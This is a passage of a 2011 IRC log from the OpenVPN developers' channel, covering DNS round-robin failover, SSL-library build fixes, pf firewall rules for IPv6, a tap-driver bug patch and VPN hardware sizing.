as raidz_afk 19:09 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:47 -!- raidz_afk is now known as raidz 20:26 -!- raidz is now known as raidz_afk 20:27 -!- raidz_afk is now known as raidz --- Day changed Wed Oct 26 2011 00:25 -!- dazo_afk is now known as dazo 01:15 -!- novaflash_away is now known as novaflash 01:26 <@mattock> d12fk, dazo: any ideas if the regression with WinXP is fixed? I think it had something to do with the import 01:26 <@mattock> library thingy 01:27 <@dazo> I dunno, doubt it though 01:27 * dazo tries to recall the details ... 01:36 <@mattock> I think that should be fixed before the next snapshot... I'll try to get rid of the performance testing 01:36 <@mattock> stuff this week, so that I can focus on 2.3 from there on 01:49 <@dazo> If we have patches which fixes it, then I agree ... but we've done a lot of changes lately which touches the whole SSL layer ... so if Vista/7 users are willing/able to test those code paths, I'd be happy about that 01:50 <@dazo> that regression needs to be fixed before 2.3 betas, that's for sure 01:50 <+krzie> can RR dns be used to setup failover? 01:59 <@dazo> krzie: uhm .... as in /etc/resolv.conf ... or hosts defined in a DNS (same hostname with more IPs) ... the former is 'no' (resolver always tries the first one first, iirc) and the latter is 'yes' 01:59 <+krzie> the latter, such as the case with vpn.noskills.net 02:00 <+krzie> i need to be able to add/remove servers without touching the client configs, and have some sort of spread across them as new connections come up 02:01 <+krzie> and if 1 goes down, they just connect to another 02:01 <@dazo> krzie: that should work ... but I don't recall how clever the connection logic is ... might be it would be needed to add more --remote statements with the same hostname 02:01 <+krzie> ahh i thought of that as well, was thinking that and resolv-retry infinite might trick openvpn into it 02:02 <@dazo> another way to do that .... set the TTL low (1 minutes) for the box which is going to be unavailable ... then remove it from the DNS when it's likely that all caches have been flushed 02:02 <+krzie> well im trying to safeguard against unknown downtime 02:02 <+krzie> planned downtime is much easier 02:03 <+krzie> but i did set ttl to 1h 02:03 <@dazo> yeah, agreed ... which is why setting the TTL very low a few days before the downtime .... and then you can remove the DNS pointer when you're taking the box down ... wait 2 minutes, and the backup should be in charge 02:04 <@dazo> when the box is available again ... re-add the DNS entry ... boost the TTL to 1-2 hours or so ... and then after a few minutes, the backup may be removed 02:04 <+krzie> right but thats for planned outages 02:05 <@dazo> agreed 02:05 <@dazo> ahh, you're talking unplanned 02:05 <+krzie> brb testing multiple --remote with same hostname and resolv-retry infinite 02:06 <+krzie> would be cool if the remote-random option randomized responses from dns =] 02:07 <+krzie> or is that in the resolver and not openvpn's job? 02:09 <+krzie> oh sweet 02:09 <+krzie> Wed Oct 26 03:08:56 2011 us=268407 RESOLVE: NOTE: vpn.noskills.net resolves to 2 addresses, choosing one by random 02:09 <@dazo> that's the resolver's job 02:10 <@dazo> ugh 02:10 <@dazo> that's the old openvpn 02:10 <+krzie> well sweet =] 02:10 <@dazo> that randomisation is removed in 2.2 02:10 <+krzie> guess who will never upgrade then 02:10 <+krzie> lol 02:10 <@dazo> heh 02:10 <+krzie> why removed and not made optional?? 02:11 <@dazo> as the resolver should do the RR job ... and with 2 records ... then the randomisation might pick the same host in a row with 50% higher chance than without randomisation 02:11 <+krzie> lol i see 02:11 <+krzie> so the randomization lead to de-randomization 02:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 02:12 <@dazo> it was discussed a lot last year ... and generally agreed that randomisation was bad ... so we added a patch disabling this (via configure option) ... a few months later James came with a patch which obsoleted that configure option and implemented a brand new resolver logic 02:20 <+krzie> failover on connect is win, testing failover after connected 02:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:21 <+krzie> then i will test with a single --remote, and ill get 2.2 on here and test that as well 02:22 <+krzie> (on osx, but will be testing whatever version openvpn is on my cm7 phone too) 02:22 <+krzie> dynamic failover is win =] 02:22 <@dazo> :) 02:23 <@dazo> failover with reconnect (with new TLS/SSL session) should be doable without much work - if it's not included already 02:24 <+krzie> no second remote needed 02:24 <@dazo> failover with reconnect, preserving TLS/SSL sessions is way harder, and requires openvpn server side patching ... and is generally not a good idea for SSL stuff 02:24 <@dazo> (shared keys and session status over a network link) 02:24 <+krzie> ya not keen on that idea, reconnected expected and wanted 02:25 <+krzie> security > usability 02:25 <+krzie> besides its only 1min 02:25 <@dazo> or whatever --keepalive is set to ;-) 02:26 <+krzie> ya =] 02:26 <@vpnHelper> RSS Update - wishlist: Certificate request generator <http://forums.openvpn.net/topic9100.html> 02:27 <+krzie> resolv-retry infinite 02:27 <+krzie> server-poll-timeout 20 02:27 <+krzie> ^ good for my case 02:28 <@dazo> goodie! sounds like something worthy to be put up on a wiki 02:29 <+krzie> yep, plans on doing so 02:29 <@dazo> cool, thx! 02:29 * dazo heads out 02:29 <+krzie> thanks =] 02:32 -!- dazo is now known as dazo_afk 02:33 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 02:45 -!- raidz is now known as raidz_afk 02:56 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:56 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 258 seconds] 03:22 <@d12fk> mattock: did you have a chance to test my patch about the issue? 03:22 <@mattock> d12fk: nope, not yet 03:22 <@mattock> I'll queue it for next week 03:22 <@d12fk> ok 03:23 <@mattock> and if it fixes things, provide a new Windows snapshot 03:24 <@mattock> on todo 05:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 07:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:40 <@andj> hi mattock 07:41 <@mattock> hi 07:41 <@andj> just a quick heads-up that I won't be at a potential meeting tomorrow 07:41 <@andj> I'll be at a security conference in Helsinki :) 07:42 * cron2 has to attend mother-in-law's birthday... 07:43 <@mattock> ah, nice! 07:43 <@cron2> but I'm not sure we have lots of topics anyway. Most important on my list: t_client re-enablement, and FreeBSD/OpenBSD platform cleanup ("I know what to do, I don't need a meeting yet") :) 07:44 <@andj> I'm interested in potential windows issues too 07:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 07:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 10:19 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 11:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:52 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:17 -!- dazo_afk is now known as dazo 17:11 -!- novaflash is now known as novaflash_away 17:29 -!- dazo is now known as dazo_afk 21:47 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:47 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:48 <+krzie> damn, on android it says it sees 2 IPs, but it only uses 1 21:48 <+krzie> it does not randomize, and that isnt an option in the code =/ 21:48 <+krzie> weird tho, im on OpenVPN 2.1.4 21:49 <+krzie> it must be a problem in the android resolver 23:38 <+krzie> nslookup keeps showing different IP first, but openvpn only uses a single ip, once it chooses it doesnt change its mind --- Day changed Thu Oct 27 2011 00:45 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 01:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:29 -!- dazo_afk is now known as dazo 03:42 <@dazo> krzee: tried to reboot the Android device, to really flush the resolving cache? Just to be sure you have a better TTL on your DNS record(s) ... unless the android resolver ignores the TTL, and (even worse) saves resolved stuff to disk 04:47 -!- novaflash_away is now known as novaflash 06:53 -!- dazo is now known as dazo_afk 07:31 <@mattock> meeting today? 08:55 <@vpnHelper> RSS Update - wishlist: Push dhcp-options for Android. <http://forums.openvpn.net/topic9119.html> 09:08 <@cron2> not me 09:13 <+krzee> dazo_afk, when i reboot, it goes random again 09:19 <@mattock> cron2: re: meeting? 09:37 <@cron2> mattock: meeting not me :) 10:27 <@mattock> ok 10:27 <@mattock> let's see what happens, then :) 11:08 -!- d303k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+o d303k] by ChanServ 11:08 -!- d303k is now known as d12fk 11:48 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 12:01 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:43 * krzee adds to the wishlist 13:47 <@vpnHelper> RSS Update - wishlist: new script hook <http://forums.openvpn.net/topic9121.html> 15:13 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 15:36 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:36 -!- krzie is now known as krzee 15:39 <+krzee> damn, if tls-exit would make openvpn die when it cant connect, i could use a --down script to open openvpn again 15:40 <+krzee> since every time i start openvpn it successfully chooses a random host from rr dns to connect to 15:43 <+krzee> like connect-retry for udp 19:01 -!- raidz is now known as raidz_afk 19:38 -!- raidz_afk is now known as raidz 20:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 255 seconds] 21:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Oct 28 2011 01:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:34 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:52 -!- raidz is now known as raidz_afk 02:17 -!- dazo_afk is now known as dazo 06:44 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 07:52 -!- raidz_afk is now known as raidz 08:02 -!- raidz is now known as raidz_afk 10:18 -!- d303k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:18 -!- mode/#openvpn-devel [+o d303k] by ChanServ 10:18 -!- d303k is now known as d12fk 11:12 -!- raidz_afk is now known as raidz 16:22 -!- dazo is now known as dazo_afk 19:01 -!- raidz is now known as raidz_afk --- Day changed Sat Oct 29 2011 01:18 -!- raidz_afk is now known as raidz 01:44 <@mattock> the openvpn-commits list email size limit is now 200k 01:44 <@mattock> earlier it was 40k 01:44 <@mattock> meaning that automated buildbot builds should work once again 01:53 -!- raidz is now known as raidz_afk 07:53 -!- raidz_afk is now known as raidz 08:03 -!- raidz is now known as raidz_afk 08:20 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:46 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:13 -!- raidz_afk is now known as raidz 10:15 -!- raidz is now known as raidz_afk 14:55 -!- jhp [~jhp@zeus.jhprins.org] has joined #openvpn-devel 14:56 < jhp> Hi everyone. Can someone tell me why IPv6 router-sollications don't cross a OpenVPN tap0 Bridge setup ? 14:57 < jhp> I have an openvpn server running on my central router. In the firewall I globaly enable neigh-sol from and to and forward on all interfaces. 14:58 < jhp> But on my bridge I have up for OpenVPN I see the neigh-sol messages enter tap0 but I don't see them going out of the lan interface of the router. 14:59 < waldner> cat /proc/sys/net/bridge/bridge-nf-call-ip{,6}tables 15:04 < jhp> [root@firewall01 log]# cat /proc/sys/net/bridge/bridge-nf-call-ip{,6}tables 15:04 < jhp> 1 15:04 < jhp> 1 15:04 < waldner> check your FORWARD chain then 15:04 < jhp> Do I maybe need this: http://www.tuhox.com/ndppd/ 15:04 <@vpnHelper> Title: ndppd (at www.tuhox.com) 15:12 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:29 < jhp> Although I had IPv6 Multicast defined in a global rule in FWBuilder and it should have end up in the FORWARD chain, it wasn't their. 15:30 < jhp> Made that rule more general and now it works. 15:30 < jhp> Thanks 15:30 <+krzie> gui tools to manage firewalls ftl 15:34 < jhp> krzie: I know. But the problem is we have a firewall with over 100 interfaces and a lot of special rules that all have to work. And, yes we could do it in a big script but the last time we did that, it ended up being impossible to find anything anymore. 15:34 <+krzie> modulize it into multiple scripts based on what they are for 15:34 <+krzie> ? 15:35 < jhp> But indeed, it is important to allways check if everything is in the rules you defined 15:35 <+krzie> ya or that i guess ;] 18:23 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 18:24 -!- raidz_afk is now known as raidz 18:50 -!- raidz is now known as raidz_afk 20:18 -!- raidz_afk is now known as raidz 21:27 -!- raidz is now known as raidz_afk 23:35 -!- raidz_afk is now known as raidz --- Day changed Sun Oct 30 2011 02:08 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 240 seconds] 05:40 -!- raidz is now known as raidz_afk 12:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:55 -!- raidz_afk is now known as raidz 13:57 -!- raidz is now known as raidz_afk 14:34 -!- raidz_afk is now known as raidz 14:40 -!- raidz is now known as raidz_afk 14:41 -!- raidz_afk is now known as raidz 14:45 -!- raidz is now known as raidz_afk 20:01 -!- raidz_afk is now known as raidz --- Day changed Mon Oct 31 2011 01:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 02:03 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer] 02:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:12 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:30 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 02:38 -!- raidz is now known as raidz_afk 05:05 -!- dazo [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:24 * ecrist thinks changing one's nick when they're afk is passe 07:49 <@andj> Hmm, I've found the bug in the plgin inlin function code 07:50 <@andj> a comma was missing, so hopefully dazo's patch isn't necessary :) 07:51 <@dazo> andj: really!? That'd be cool ... I found out that my patch also breaks no-ssl compiling, so it's not that good 07:51 <@andj> yeah, check the commas in the inline function :) 07:51 <@andj> the bit between #ifdef #endif 07:52 <@andj> I've found a few other minor windows issues with the PolarSSL build 07:53 <@dazo> andj: if you can send those patches to the ML, then we'll try to get them reviewed asap ... this week is also going to be hectic again for me, but I'll do my best to include them asap when the ACKs are in order 07:55 <@andj> np, want to do some more experiments to get a full set to the ML 07:55 <@andj> and not a partial set 07:55 <@dazo> perfect! 07:57 <@dazo> andj: for pluging testing ... plugin/examples/log_v3.c is a good one ... if you also try it with log.c too, you've covered the old and the new plug-in API too 07:58 <@dazo> andj: log_v3 also tests authentication ... hard coded username/password in the source 07:58 <@dazo> (however, log_v3 is written openssl) 08:15 <@andj> thanks, I'll see what I can do... It's going to be difficult to get Windows tests going for that on my current setup 08:16 <@andj> But I'll try some Linux stuff 08:29 <@dazo> goodie! 08:30 <@dazo> andj: when we get things stabilised ... I'll take the major step and upgrade at least one production box to the master branch ... running openssl with authentication .... and we'll see how nicely it explodes :) 08:38 -!- raidz_afk is now known as raidz 08:48 -!- raidz is now known as raidz_afk 08:53 <@andj> nice, I've got the PolarSSL version working on Windows now 08:53 <@andj> including PKCS#11 support 08:53 <@andj> now for the OpenSSL version 09:43 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:00 -!- dazo is now known as dazo_afk 10:29 <@andj> and patch spam :) 10:30 < uuuppz> hi hows things 10:30 <@andj> hi 11:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 11:13 -!- d303k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 11:13 -!- mode/#openvpn-devel [+o d303k] by ChanServ 11:13 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 11:34 -!- raidz_afk is now known as raidz 12:53 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 13:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:17 <+krzee> http://www.peervpn.net/ 13:17 <@vpnHelper> Title: PeerVPN - the open source peer-to-peer VPN (at www.peervpn.net) 13:17 <+krzee> A virtual network built by PeerVPN uses a full mesh topology. All nodes talk directly to each other, there is no need for a central server. If one node goes down, the rest of the network is unaffected. 13:18 <+krzee> i wonder if it works like my idea for direct connections for openvpn 13:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Log closed Mon Oct 31 16:55:58 2011 --- Log opened Thu Nov 10 12:51:33 2011 12:51 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:51 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 1 voices, 7 normal] 12:51 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 12:51 < ecrist> didn't notice I wasn't here, sorry 12:51 <@mattock> np 12:51 <@cron2> 443 connects fine, can't say whether SSL works (openssl client doesn't do v6, and have no browser open and no v6 here right now) 12:51 <@dazo> mattock: both works fine now 12:52 <@mattock> nice! 12:52 < ecrist> did I miss something? 12:52 <@mattock> yep, fixing of pf on forums.openvpn.net :) 12:52 < ecrist> what was wrong? 12:52 <@dazo> IPv6 was screwed up again 12:52 < ecrist> ? 12:52 <@mattock> I'll explain... 12:52 < ecrist> how'd that happen 12:53 <@mattock> pass in on { $ipv4_if, $ipv6_if } inet proto tcp from any to port $secure_public_services 12:53 <@mattock> this does not expand correctly, because ipv6 rules need "inet6" instead of "inet4" 12:53 <@mattock> adding separate inet6 entries fixed the issue 12:54 <@cron2> I think just leaving off "inet" would have done the job just fine 12:54 <@cron2> it's not like you have other protocols running except inet + inet6 :) 12:54 <@mattock> cron2: good idea 12:55 <@dazo> probably not combined with tcp 12:55 <@cron2> dazo: this is for example what I have for traceroute 12:56 <@cron2> pass in on $ext_if proto udp to any port 33430:33500 12:56 <@cron2> works fine for IPv4 and IPv6 12:56 <@cron2> (no simple example for tcp right now) 12:56 <@dazo> yeah ... I meant that udp/tcp is most likely not used in any other protocols than inet or inet6 12:56 <@cron2> ah, here's one 12:57 <@cron2> dazo: indeed, yes 12:59 <@dazo> btw ... does pf have a user space library for programs to interact directly with the pf configs? like having daemons which would update pf dynamically on-the-fly ... 13:00 < ecrist> ahh, that makes sense, sorry I missed that, mattock 13:00 <@mattock> np 13:01 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 13:01 <@mattock> cron2 has ipv6 monitoring running, so we'll get complaints real quick the next time :P 13:01 <@raidz> haha 13:01 <@dazo> maybe cron2 should monitor forums.openvpn.net too? 13:01 <@mattock> good idea 13:01 <@mattock> I lack direct IPv6 connectivity myself 13:01 <@cron2> I'm ping6'ing both, but not http/https'ing 13:02 <@dazo> mattock: with tunnelbroker, that's no excuse ;-) 13:02 * dazo is getting IPv6 access via OpenVPN to his home router which uses tunnelbroker 13:02 <@mattock> hmm, I think I could setup monit on community to poll the IPv6 address and notify me if it's down 13:02 <@mattock> I mean ports 80 and 443 13:02 <@raidz> that is pretty cool dazo 13:02 <@mattock> -> todo 13:04 <@dazo> raidz: what to say ... openvpn does pretty well with IPv6 tunnelling these days ;-) 13:04 * cron2 pats dazo "that's so nice of you tos ay" :-) 13:04 <@dazo> :) 13:04 <@cron2> dazo: have you seen the patch I just forwarded to the list (half an hour ago or so)? 13:05 * dazo checks 13:06 <@cron2> a user has found the problem with small IPv4 packets in the IPv6-enabled tap driver 13:06 <@dazo> cron2: could you please make a proper patch out of that for me? Just set Signed-off-by with the Christian's address, add your Acked-by: and a Signed-off line to it (as you did the proper formatting) 13:07 * dazo don't like when he needs to write commit messages for the work other people does :) 13:07 <@cron2> dazo: might take a bit. I'm on vacation, and on a slow+expensive 3G link 13:08 <@cron2> but yeah, will see to it 13:08 <@dazo> I'm in no hurry :) But that might be an important bug fix, maybe solving one of the regressions we have reported in Trac 13:08 <@cron2> yes, exactly 13:09 <@cron2> which is why I didn't leave it until we return home 13:10 <@dazo> no worries ... we're still not packaging up anything yet ... need some more windows fixes into master first 13:10 * cron2 wants a 2.2 bugfix release 13:10 <@dazo> that can be done! 13:11 <@dazo> I'll apply this patch to master and cherry-pick it for the releases/2.2 branch 13:11 <@cron2> yes, that was what I had in mind 13:20 <@cron2> dazo: ok, I decided that I won't find time to do so during the next days, and I want to see this go in soon, so here you go :-) 13:20 <@dazo> You gotta love Germans ... quickly and promptly responses ;-) 13:21 <@cron2> only if it's important enough :-) 13:21 <@cron2> did you have a meeting today? 13:22 <@dazo> nope, no meeting scheduled ... I'm just responding here when I'm waiting for tests in my paid work 13:22 <@cron2> heh, good for us :-) 13:22 <@dazo> yeah :) 13:23 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:30 <@cron2> so. 13:31 <@cron2> *close laptop, pay phone bill, go to bed* (or so) 13:31 <@dazo> :) 13:31 <@dazo> c'ya! And enjoy your holiday :) 13:33 <@vpnHelper> RSS Update - testtrac: add missing break between "case IPv4" and "case IPv6", leading to the <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=10b99726a30bb7252cb01806f5f276be7873e84e> 13:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 13:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:03 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 15:09 -!- dazo is now known as dazo_afk 15:22 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:42 -!- novaflash is now known as novaflash_away 17:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Nov 11 2011 00:39 -!- dazo_afk is now known as dazo 01:09 -!- novaflash_away is now known as novaflash 03:48 <@d12fk> andj: trying to cross compile git master and getting an error in ssl_openssl.c:336 about options being undefined. is this fixed in some of your patches already? 03:51 <@mattock> d12fk: I can send you an .mbox file with andj's latest patches... applies with git-am 03:52 <@d12fk> mattock: are there others unapplied than the latest eight ones 03:52 <@mattock> I don't think so 03:53 <@mattock> I applied 1-8 (except 3) to my tree 03:53 <@d12fk> could you check the file at that position pls 03:53 <@mattock> and had to add a small patch to make openssl build using VS work 03:53 <@d12fk> just want to make sure it is not an known issue before i send a patch 03:54 <@mattock> ah, just a sec 03:57 <@mattock> this is how ssl_openssl.c looks like: http://pastebin.com/4SbBpCUB 03:57 <@mattock> with andj's patches 03:59 <@d12fk> the error is just below that part within the msg() error path 04:00 <@d12fk> options-> is undefined 04:00 <@d12fk> is it still there 04:08 <@d12fk> ah it's fixed in 8/8 04:09 <@d12fk> and once applied ovpn head builds just fine 04:09 <@d12fk> thanks mattock 04:22 <@d12fk> has anyone else noted and been dissappointed with the fact that mail to the -devel list contain mail footers as attachments since recently 04:33 <@mattock> hmm, haven't noticed 05:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 258 seconds] 06:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 06:53 -!- mode/#openvpn-devel [+o raidz] by ChanServ 07:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 08:14 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 08:52 <@vpnHelper> RSS Update - tickets: #170: client up script does not see username/password env <https://community.openvpn.net/openvpn/ticket/170> 10:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 16:05 -!- novaflash is now known as novaflash_away 16:55 -!- dazo is now known as dazo_afk --- Day changed Sat Nov 12 2011 04:00 -!- novaflash_away is now known as novaflash 10:05 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 10:48 < uuuppz> got a question.... need an indication of what sort of hardware minimum I'd need to push 100mb up and down 10:51 < uuuppz> would be thinking of using aes-256 17:00 -!- novaflash is now known as novaflash_away 18:12 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 244 seconds] 18:18 <@ecrist> you might be able to do it with an atom box 18:18 <@ecrist> but without testing, I don't know 18:18 < uuuppz> ok 18:18 < uuuppz> Intel Xeon E3-1220L, 2C/4T, 2.20GHz, 3M Cache, 20W TDP 18:19 < uuuppz> thats got aes ni support as well 18:19 < uuuppz> thats probably do it right? 18:21 <@ecrist> probably 18:21 <@ecrist> we can push at least 10-15Mbps on an old P3 18:32 < uuuppz> that one is nice cos its only 20w tdp 18:36 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 18:36 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:42 < uuuppz> ecrist: would have any opinion on snort or other opensource ids? 20:22 < uuuppz> hm how about 1gbps? 20:46 <@ecrist> uuuppz: no clue 20:46 <@ecrist> I've never tried to push 1gbps through openvpn 20:50 < uuuppz> you see 20:50 < uuuppz> two things I want to solve 20:50 < uuuppz> 1) I need secure external access 20:51 < uuuppz> 2) I'd like to lock my development environments into vlans behind 20:51 < uuuppz> openvpn 20:51 < uuuppz> I've 100mb ethernet as my IP external connectivity 20:51 < uuuppz> and 1gb on the intenral lan 20:51 < uuuppz> openssl speed aes-256-cbc 20:52 < uuuppz> is a good place to start I guesas --- Day changed Sun Nov 13 2011 02:40 -!- novaflash_away is now known as novaflash 07:25 -!- Netsplit *.net <-> *.split quits: chantra, uuuppz, @d12fk, @andj, @cron2, jamxNL, dguerri, waldner, novaflash 07:28 -!- Netsplit over, joins: @cron2, jamxNL, waldner, uuuppz, novaflash, @d12fk 07:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:30 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 07:30 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 07:30 -!- ServerMode/#openvpn-devel [+o andj] by verne.freenode.net 07:44 -!- Netsplit *.net <-> *.split quits: chantra, uuuppz, @andj, @cron2, jamxNL, dguerri, waldner, novaflash 07:45 -!- Netsplit over, joins: novaflash 07:47 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 07:47 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 07:47 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:47 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 07:47 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:47 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 07:47 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:47 -!- ServerMode/#openvpn-devel [+oo andj cron2] by verne.freenode.net 17:12 -!- novaflash is now known as novaflash_away --- Day changed Mon Nov 14 2011 03:14 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:16 -!- dazo_afk is now known as dazo 03:49 -!- novaflash_away is now known as novaflash 04:43 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has quit [Ping timeout: 240 seconds] 04:43 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 07:40 -!- novaflash is now known as novaflash_away 07:40 -!- novaflash_away is now known as novaflash 10:27 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 14:00 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 15:33 -!- novaflash is now known as novaflash_away 15:48 -!- dazo 